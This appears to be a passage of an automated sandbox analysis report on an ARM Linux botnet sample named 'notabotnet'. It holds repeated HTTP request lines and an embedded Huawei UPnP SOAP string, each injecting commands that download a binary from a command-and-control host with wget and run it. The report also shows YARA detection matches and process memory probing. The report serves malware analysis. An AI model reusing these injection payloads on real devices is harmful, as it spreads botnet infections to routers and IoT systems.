Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive

Source: notabotnet.arm, type: SAMPLE	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6238.1.00007f5fa8033000.00007f5fa8034000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6241.1.00007f5fa8032000.00007f5fa8033000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6241.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6236.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6238.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6241.1.00007f5fa8033000.00007f5fa8034000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6236.1.00007f5fa8033000.00007f5fa8034000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6238.1.00007f5fa8032000.00007f5fa8033000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6236.1.00007f5fa8032000.00007f5fa8033000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: Process Memory Space: notabotnet.arm PID: 6236, type: MEMORYSTR	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: Process Memory Space: notabotnet.arm PID: 6238, type: MEMORYSTR	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: Process Memory Space: notabotnet.arm PID: 6241, type: MEMORYSTR	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.fearfulcats.tk -l /tmp/binary -r /notabotnet/notabotnet.mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: classification engine

Classification label: mal80.troj.linARM@0/0@1/0

Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1582/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2033/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1612/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1579/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1699/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1335/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1698/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2028/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1334/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1576/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2025/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2146/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/910/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/912/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/517/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/759/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/918/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1594/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1349/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1623/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/761/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1622/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/884/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1983/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2038/maps
